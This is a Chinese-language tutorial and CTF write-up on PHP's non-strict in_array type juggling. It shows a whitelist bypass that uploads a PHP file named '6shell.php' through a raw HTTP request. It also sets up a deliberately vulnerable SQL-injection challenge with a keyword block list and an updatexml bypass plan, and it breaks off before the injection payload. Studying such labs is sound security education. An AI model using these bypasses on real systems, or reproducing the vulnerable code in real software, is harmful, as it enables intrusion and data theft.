in_array

in_array(mixed $needle, array $haystack, bool $strict = false): bool

用于检查数组中是否存在某个值,参数说明如下:

  • needle:待搜索的值,如果needle是字符串,则比较是区分大小写的;
  • haystack:待搜索的数组;
  • strict:如果strict的值为true则还会检查needle的类型是否和haystac中的元素相同;

一个例子

<?php

$whitelist = range(0, 32);
$file = $_FILES['solution'];

if (in_array($file['name'], $whitelist)) {
    move_uploaded_file(
        $file["tmp_name"],
        "./" . $file["name"]
    );
    echo "File uploaded successfully";
}

这道题的漏洞点在于使用了in_array来对上传文件的名称进行检查,判断其是否在白名单中。而根据官方文档对in_array的定义,这里并没有设置参数strict,这个参数默认为false,即并没有启用严格模式,导致了in_array并不会检查needle的类型是否和haystac中的元素相同,而是进行强制类型转换之后再进行比较。

例如:

<?php

$whitelist = range(1, 24);
$filename = '6shell.php';

echo (in_array($filename, $whitelist));

显然6shell.php经过强制类型转换之后变成了6,在白名单中。

利用这个缺陷,就可以通过构造文件名,使其经强制类型转换之后处在白名单中,进而绕过检查:

POST / HTTP/1.1
Host: 127.0.0.1:10001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary61ZqAmwPvCxh1p6m
Content-Length: 220

------WebKitFormBoundary61ZqAmwPvCxh1p6m
Content-Disposition: form-data; name="solution"; filename="6shell.php"
Content-Type: application/octet-stream

<?php phpinfo();?>

成功利用in_array的缺陷绕过了白名单限制。

一道题目

index.php

<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if ($result->num_rows > 0) {
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if ($result->num_rows > 0) {
    $row = $result->fetch_assoc();
    echo "<center><table border='1'>";
    foreach ($row as $key => $value) {
        echo "<tr><td><center>$key</center></td><br>";
        echo "<td><center>$value</center></td></tr><br>";
    }
    echo "</table></center>";
} else {
    die($conn->error);
}

config.php

<?php
$servername = "127.0.0.1";
$username = "root";
$password = "root";
$dbname = "fucker";

function stop_hack($value)
{
    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
    $back_list = explode("|", $pattern);
    foreach ($back_list as $hack) {
        if (preg_match("/$hack/i", $value))
            die("$hack detected!");
    }
    return $value;
}

db.sql

CREATE
DATABASE fucker;

USE
fucker;

CREATE TABLE users
(
    id     int(6) unsigned auto_increment primary key,
    name   varchar(20) not null,
    email  varchar(30) not null,
    salary int(8) unsigned not null
);

INSERT INTO users
VALUES (1, 'Lucia', 'Lucia@hongri.com', 3000);
INSERT INTO users
VALUES (2, 'Danny', 'Danny@hongri.com', 4500);
INSERT INTO users
VALUES (3, 'Alina', 'Alina@hongri.com', 2700);
INSERT INTO users
VALUES (4, 'Jameson', 'Jameson@hongri.com', 10000);
INSERT INTO users
VALUES (5, 'Allie', 'Allie@hongri.com', 6000);

CREATE TABLE flag
(
    flag varchar(30) not null
);

INSERT INTO flag
VALUES ('FUCK_CTF{1n0rrY_i3_Vu1n3rab13}');

利用上述文件,搭建一个CTF环境。

代码分析

先看index.php

建立数据库连接之后,从数据库的users表中查询所有记录,然后设置了一个白名单,白名单的内容是users表中用户的ID值;

然后从GET传参获取一个参数id,通过stop_hack()函数过滤id中的敏感字符;

如果id不含敏感字符,并且在白名单中,就使用拼接的SQL语句执行查询操作,并返回查询结果;

再看config.php

先是设置好数据库连接的相关信息,然后定义了一个敏感字符过滤函数,过滤掉以下字符串:

insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval

漏洞利用

这里主要有两个考点,一个是in_array的缺陷绕过,另一个是updatexml注入。

题目中使用了in_array来检查参数值是否在白名单中,并且没有设置强匹配,可以利用上面提到的强制类型转换缺陷进行绕过;

而在stop_hack函数中,禁止了较多常用的SQL函数,但没有禁止updatexml,所以这里考虑使用updatexml进行注入。

先来复习一下updatexml注入的产生原因。

updatexml的基本用法: